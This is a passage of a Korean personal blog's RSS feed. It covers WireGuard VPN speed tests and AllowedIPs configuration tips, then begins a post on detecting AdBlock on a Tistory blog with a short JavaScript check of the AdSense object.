&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;371&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvQmrK/btrruA1lcId/fGkKgxiR5d4UwjISbS68b0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvQmrK/btrruA1lcId/fGkKgxiR5d4UwjISbS68b0/img.png&quot; data-alt=&quot;VPN 접속 전&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvQmrK/btrruA1lcId/fGkKgxiR5d4UwjISbS68b0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvQmrK%2FbtrruA1lcId%2FfGkKgxiR5d4UwjISbS68b0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;193&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;371&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;VPN 접속 전&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;383&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cgb0o4/btrrn2Tn0ON/WjJBJqWOeJrSispkpEk4yk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cgb0o4/btrrn2Tn0ON/WjJBJqWOeJrSispkpEk4yk/img.png&quot; data-alt=&quot;VPN 접속 후&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cgb0o4/btrrn2Tn0ON/WjJBJqWOeJrSispkpEk4yk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcgb0o4%2Fbtrrn2Tn0ON%2FWjJBJqWOeJrSispkpEk4yk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;199&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;383&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;VPN 접속 후&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 속도 테스트&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;NIA는 클라이언트를 설치해야해서 싫으니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;벤치비에서 테스트했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;http://beta.benchbee.co.kr/home.asp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://beta.benchbee.co.kr/home.asp&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1642841047935&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;벤치비 인터넷 속도 측정&quot; data-og-description=&quot;벤치비 인터넷 속도 측정&quot; data-og-host=&quot;beta.benchbee.co.kr&quot; data-og-source-url=&quot;http://beta.benchbee.co.kr/home.asp&quot; data-og-url=&quot;http://beta.benchbee.co.kr/home.asp&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;http://beta.benchbee.co.kr/home.asp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;http://beta.benchbee.co.kr/home.asp&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;벤치비 인터넷 속도 측정&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;벤치비 인터넷 속도 측정&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;beta.benchbee.co.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VPN 연결 전 속도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(Starbucks WiFi 사용 중...)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;689&quot; data-origin-height=&quot;544&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOWxZW/btrroYiqDkU/5BE6hozNHHTkZWWWDEkgUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOWxZW/btrroYiqDkU/5BE6hozNHHTkZWWWDEkgUK/img.png&quot; data-alt=&quot;Starbucks WiFi&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOWxZW/btrroYiqDkU/5BE6hozNHHTkZWWWDEkgUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOWxZW%2FbtrroYiqDkU%2F5BE6hozNHHTkZWWWDEkgUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;395&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;689&quot; data-origin-height=&quot;544&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Starbucks WiFi&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WireGuard 연결 후 속도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쓰는 데 무리는 없는 데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;속도가...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;659&quot; data-origin-height=&quot;475&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBsafd/btrroFQTsLY/M8MF57eTcAk9eV8OiBdGvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBsafd/btrroFQTsLY/M8MF57eTcAk9eV8OiBdGvk/img.png&quot; data-alt=&quot;음...&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBsafd/btrroFQTsLY/M8MF57eTcAk9eV8OiBdGvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBsafd%2FbtrroFQTsLY%2FM8MF57eTcAk9eV8OiBdGvk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;360&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;659&quot; data-origin-height=&quot;475&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;음...&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 참고1: 모바일 연결 문제&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 어제까지만 해도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;폰에서 VPN 연결해도 느리길래&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포스팅만 하고 OpenVPN으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;넘어가려고 했었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 오늘 카페에서 테스트해보니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;빠르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(위에 속도 측정한게 의문이 들 정도로...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;속도 보니 파일 업다운로드나 동영상 보거나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게임은 못할거 같다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것 저것 테스트해보니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;u&gt;모바일에서는&lt;/u&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;u&gt;VPN 연결 후&lt;/u&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;u&gt;데이터 방식(5G, LTE)을&lt;/u&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;u&gt;반대로 바꿔줘야 한다...&lt;/u&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(ex: 5G -&amp;gt; LTE, LTE -&amp;gt; 5G)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(참고로...핸드폰은 KT 쓰고 있음...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 통신사는 테스트 안해봤어요...)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이유는 잘 모르겠움...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패킷 형태가 바뀌면서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;차단되는 건가...;;;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 참고2: 내 설정에 AllowIP 가 많은 이유&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 &lt;b&gt;현재 네트워크에&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;다른 서버가 있고&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;그 서버에 접속은 해야하는데&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;VPN은 또 써야한다&lt;/b&gt;면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;현재 네트워크의 대역이나,&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;접속해야할 IP는&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;AllowIP에서 제외&lt;/b&gt;&lt;/u&gt;해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 이게 접속지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(VPN 서버가 있는 네트워크)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에 있는 IP 대역을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제외해야하는 줄 알고...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 오역해서 잘못 설정했다...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;회사에서는 회사내 다른 서버에 붙어야 하니&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;회사 내부 IP 대역을 제외하고&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;AllowIP에 추가&lt;/b&gt;해줘야하지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(물론, VPN 서버가 있는 네트워크의 대역대가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회사 내부 네트워크 대역대와 달라야&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VPN 서버가 있는 곳의 다른 서버에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속할 수 있다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;나처럼 카페같은 외부에서 접속하는 경우엔&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;그냥 0.0.0.0으로 설정&lt;/b&gt;&lt;/u&gt;해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;(기본 설정)&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;아 다시 세팅해야함...&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 계획: Raspberry Pi 4에서 테스트&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원래,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;라즈베리파이에서 VPN 구축했었는 데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같은 이유로...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;초기화 해버렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 땐 몰랐는 데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금은 알았으니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 구축해서 테스트해봐야겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(그래도 라즈베리파이라서 느릴 듯....)&lt;/p&gt;</description>
      <category>Tip.../환경세팅</category>
      <category>OpenVPN</category>
      <category>VPN</category>
      <category>wireguard</category>
      <category>빠르다</category>
      <category>속도테스트</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/161</guid>
      <comments>https://chmodi.tistory.com/161#entry161comment</comments>
      <pubDate>Fri, 21 Jan 2022 16:08:19 +0900</pubDate>
    </item>
    <item>
      <title>티스토리 애드센스 블록(AdBlock) 탐지 및 해제 요청 방법</title>
      <link>https://chmodi.tistory.com/160</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이제는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AdBlock으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;광고 차단하는 게&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;당연해진 세상...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(근데 불법사이트 같은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뉴스 사이트의 광고는 못 막음 )&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;BlockAdBlock 처럼&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아예 못 보게 하는 건&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도의에 어긋나는 거 같고...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(일단 내가 당하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;빡침...ㅎㅎㅎ...)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내가 싫은 걸 강요할 수는 없기에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥 부탁 문구만 추가하는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스크립트를 작성해봄&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 원리&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;굉장히 간단하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AdBlock 등이 실행되면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구글 애드센스 스크립트의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;값들이 생성이 안되기 때문에,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;호출하면 없다고 나타난다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 호출해보고 없다고하면...?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AdBlock 때문에 막힌거다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;1032&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;538&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ct1KRE/btrj2VzZRHQ/DGiWlnDpg5R7rbPJQdx7RK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ct1KRE/btrj2VzZRHQ/DGiWlnDpg5R7rbPJQdx7RK/img.png&quot; data-alt=&quot;봐 없다잖아. 쿠팡도 막네...ㅠㅠ&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ct1KRE/btrj2VzZRHQ/DGiWlnDpg5R7rbPJQdx7RK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fct1KRE%2Fbtrj2VzZRHQ%2FDGiWlnDpg5R7rbPJQdx7RK%2Fimg.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;1032&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;538&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;봐 없다잖아. 쿠팡도 막네...ㅠㅠ&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 기본 스크립트&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 현상을 참고하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본 스크립트를 생성하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1636207756162&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;
function errorcheck () {
	if (!window.adsbygoogle.hasOwnProperty('push')) {
		// AdBlock 동작 중
		// 어떻게 할 지 입력
	}
}
errorcheck();
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AdBlock이 탐지되면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떻게 할 지 코드를 작성한 후,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;완성된 스크립트를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;티스토리 편집기의 HTML 편집기에 넣어주면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
